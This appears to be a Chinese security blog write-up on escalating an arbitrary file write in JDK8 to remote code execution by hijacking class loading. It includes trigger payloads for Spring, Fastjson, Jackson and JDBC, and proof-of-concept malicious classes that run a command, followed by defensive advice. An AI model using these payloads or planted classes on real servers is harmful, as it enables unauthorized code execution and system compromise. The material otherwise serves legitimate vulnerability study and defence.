JDK8任意文件写到RCE
字数 1257 2025-08-06 23:10:27

JDK8任意文件写到RCE漏洞分析与利用

0x01 漏洞背景

在JDK8环境下,当存在任意文件写入漏洞时,可以通过多种方式实现远程代码执行(RCE)。这种场景通常出现在以jar包形式运行的项目中,攻击者可以利用文件写入漏洞覆盖关键jar文件或类文件,通过类加载机制实现代码执行。

0x02 类加载机制分析

JDK8的类加载机制按照以下顺序进行:

  1. 引导类加载器(Bootstrap ClassLoader)
  2. 扩展类加载器(Extension ClassLoader)
  3. 应用程序类加载器(Application ClassLoader)
  4. 自定义类加载器

关键路径可以通过以下方式获取:

// 引导类加载路径
System.getProperty("sun.boot.class.path");
// 扩展类路径
System.getProperty("java.ext.dirs");

引导类加载器加载的核心jar包括:

  • rt.jar
  • jfr.jar
  • jsse.jar
  • jce.jar
  • charsets.jar

0x03 利用charsets.jar实现RCE

利用原理

通过覆盖charsets.jar中的类,利用Class.forName触发静态代码块执行。

触发点示例代码

public class Test {
    public static void main(String[] args) {
        try {
            Class.forName("sun.nio.cs.ext.GBK");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

实际应用场景触发方式

  1. Spring Web应用

    • 通过Accept头触发:
      GET / HTTP/1.1
      Accept: text/html;charset=GBK
      
    • 通过上传文件触发:
      Content-Type: multipart/form-data; boundary=a
      Content-Length: 83
      
      --a
      Content-Disposition: form-data; name="file"; filename*="GBK'test'"
      xxx
      --a
      
  2. Fastjson

    {
      "x":{
        "@type":"java.nio.charset.Charset",
        "val":"IBM33722"
      }
    }
    
  3. Jackson

    ["sun.nio.cs.ext.IBM33722",{"x":"y"}]
    
  4. JDBC连接

    jdbc:mysql://127.0.0.1:3306/test?statementInterceptors=sun.nio.cs.ext.IBM33722
    

0x04 利用jre/lib/ext目录

利用条件

  • 需要能够写入jre/lib/ext目录
  • 需要应用有重启功能

利用方式

  1. 将恶意类打包为jar文件
  2. 写入jre/lib/ext目录
  3. 等待或触发应用重启,ExtClassLoader会自动加载

0x05 利用jre/classes目录

利用条件

  • 需要能够创建jre/classes目录
  • 需要应用有重启功能

利用方式

  1. 创建jre/classes目录
  2. 写入恶意.class文件
  3. 触发类加载

示例恶意类:

import java.io.IOException;

public class Evil implements AutoCloseable {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void close() throws Exception {
    }
}

0x06 利用SPI机制

利用原理

通过实现java.nio.charset.spi.CharsetProvider接口,利用SPI机制加载恶意类。

实现步骤

  1. 创建META-INF/services/java.nio.charset.spi.CharsetProvider文件
  2. 文件中写入恶意类全限定名
  3. 实现恶意CharsetProvider

示例代码:

import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;

public class Evil extends java.nio.charset.spi.CharsetProvider {
    @Override
    public Iterator<Charset> charsets() {
        return new HashSet<Charset>().iterator();
    }
    
    @Override
    public Charset charsetForName(String charsetName) {
        if (charsetName.startsWith("Evil")) {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return Charset.forName("UTF-8");
    }
}

0x07 防御建议

  1. 限制文件写入权限,特别是对JDK目录的写入
  2. 及时更新JDK版本
  3. 对用户输入进行严格过滤
  4. 禁用不必要的SPI机制
  5. 监控关键jar文件和类文件的修改

0x08 参考资源

  1. Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
  2. [JDK8任意文件写场景下的SpringBoot RCE](https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/)
  3. [JDK8任意文件写场景下的Fastjson RCE](https://threedr3am.github.io/2021/04/13/JDK8任意文件写场景下的Fastjson RCE/)
  4. Java SPI机制详解
JDK8任意文件写到RCE漏洞分析与利用 0x01 漏洞背景 在JDK8环境下,当存在任意文件写入漏洞时,可以通过多种方式实现远程代码执行(RCE)。这种场景通常出现在以jar包形式运行的项目中,攻击者可以利用文件写入漏洞覆盖关键jar文件或类文件,通过类加载机制实现代码执行。 0x02 类加载机制分析 JDK8的类加载机制按照以下顺序进行: 引导类加载器(Bootstrap ClassLoader) 扩展类加载器(Extension ClassLoader) 应用程序类加载器(Application ClassLoader) 自定义类加载器 关键路径可以通过以下方式获取: 引导类加载器加载的核心jar包括: rt.jar jfr.jar jsse.jar jce.jar charsets.jar 0x03 利用charsets.jar实现RCE 利用原理 通过覆盖charsets.jar中的类,利用 Class.forName 触发静态代码块执行。 触发点示例代码 实际应用场景触发方式 Spring Web应用 通过Accept头触发: 通过上传文件触发: Fastjson Jackson JDBC连接 0x04 利用jre/lib/ext目录 利用条件 需要能够写入jre/lib/ext目录 需要应用有重启功能 利用方式 将恶意类打包为jar文件 写入jre/lib/ext目录 等待或触发应用重启,ExtClassLoader会自动加载 0x05 利用jre/classes目录 利用条件 需要能够创建jre/classes目录 需要应用有重启功能 利用方式 创建jre/classes目录 写入恶意.class文件 触发类加载 示例恶意类: 0x06 利用SPI机制 利用原理 通过实现 java.nio.charset.spi.CharsetProvider 接口,利用SPI机制加载恶意类。 实现步骤 创建META-INF/services/java.nio.charset.spi.CharsetProvider文件 文件中写入恶意类全限定名 实现恶意CharsetProvider 示例代码: 0x07 防御建议 限制文件写入权限,特别是对JDK目录的写入 及时更新JDK版本 对用户输入进行严格过滤 禁用不必要的SPI机制 监控关键jar文件和类文件的修改 0x08 参考资源 Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索 [ JDK8任意文件写场景下的SpringBoot RCE ](https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/) [ JDK8任意文件写场景下的Fastjson RCE ](https://threedr3am.github.io/2021/04/13/JDK8任意文件写场景下的Fastjson RCE/) Java SPI机制详解